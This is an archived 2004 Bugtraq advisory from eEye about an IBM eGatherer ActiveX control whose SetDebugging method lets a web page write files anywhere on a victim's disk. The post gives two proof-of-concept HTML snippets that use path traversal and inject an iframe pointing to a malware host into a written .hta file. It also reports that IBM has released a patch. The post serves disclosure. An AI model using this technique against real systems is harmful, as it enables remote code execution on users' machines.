lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <FCAD9F541A8E8A44881527A6792F892C197D33@owa.eeye.com>
Date: Thu, 17 Jun 2004 15:23:29 -0700
From: "Drew Copley" <dcopley@...e.com>
To: <bugtraq@...urityfocus.com>
Subject: "IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability


"IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

Release Date:
June 15, 2004

Date Reported:
February 20, 2004

Patch Development Time (In Days):
116   

Severity:
High (Remote Code Execution)

Vendor:
IBM

Systems Affected:
IBM Access Support (eGatherer) Activex Version 2.0.0.16

Overview:
eEye Digital Security has discovered a security vulnerability in IBM's
signed "eGatherer" activex. Because this application is signed, it might
be presented to users on the web for execution in the name of IBM. If
users trust IBM, they will run this, and their systems will be
compromised. This activex was designed by IBM to be used for an
automated support solution for their PC's. This is installed by default
on many popular IBM PC models.

The issue is quite simple. Activex is a very profound web technology. As
a profound web technology it may be abused. Designers might create an
activex which could perform any function on an user's computer.
Microsoft relies on trust for the security model and warns against
making activex with dangerous capabilities. The responsibility, however,
rests with the creator of the activex, as in any trust model.

In this case, IBM made available methods named such as "GetMake",
"GetModel", "GetOSName", "SetDebugging" (accepting variable called
"filename") and "RunEgatherer" (also accepting suspicious parameter).
These dangerous methods were found to be able to write a trojan file to
the user's startup folder through a difficult trick. 

It should be further noted that both "SetDebugging" and "RunEgatherer"
methods allow a web page author to write files of their choice (though
the content is limited) to the victim's hard drive -- anywhere to their
hard drive. This is the default usage of these methods. 

Technical Details:
For clarification purposes this will be presented as a two page attack,
though it may easily be a single HTML page attack.


-----------EXAMPLE HTML 1 ---------
//first this page would be viewed, then through refreshing or whatever
one goes to the second page (or just timing the two calls with
SetTimeOUt and putting them on the same page...)
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../xx.hta",-1);
|script|
---------------------------------

-----------EXAMPLE HTML 2 ---------
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../x<iframe src=http://www.malware.com>x.hta",-1);
|script|


---------------------------------

In the above example, we see the object called utilizing the "object"
tag. The codebase tag [not shown here] is used by the browser to
initiate the install of the activex if it is not already existing on the
system. This would bring up the activex prompt which essentially asks
the user if they trust IBM. Finally, the object is named "X", so we
might reference it later in script and use its' dangerous methods.

In the first page we call the "SetDebugging" method. "SetDebugging"
writes a file called "xx.hta" to the C:\ drive. (An attacker would
probably write the file to the StartUP folder in real life.) This file
will have "xx.hta" written inside of it, along with some other stuff.

We need to control what is written inside the file so we can write
dangerous scripting. But, all we can write is what can be in a filename.

Now, the second HTML page is called. What happens? The application
throws an error, but before it crashes, it writes our exploit code to
the file "xx.hta". (It crashes because "<>" are not valid characters for
a filename).

So, now we have the exploit file in the exploit location with the
exploit location within it... and the target system is taken down.

Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.

Vendor Status:
IBM has released a patch for this vulnerability. The patch is available
at the following location:
http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-5186
0

Credit:
Discovery: Drew Copley
Additional Research: http-equiv@...ware.com

Related Links:
Retina Network Security Scanner - Free 15 Day Trial
http://www.eeye.com/html/products/retina/download/index.html

Quote of the Day:
"A man's greatest work is to break his enemies, to drive them before
him, to take from them all the things that have been theirs, to hear the
weeping of those who cherished them." - Genghis Khan

Copyright (c) 1998-2004 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
alert@...e.com for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information. Any use of this information is at the user's
own risk.


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ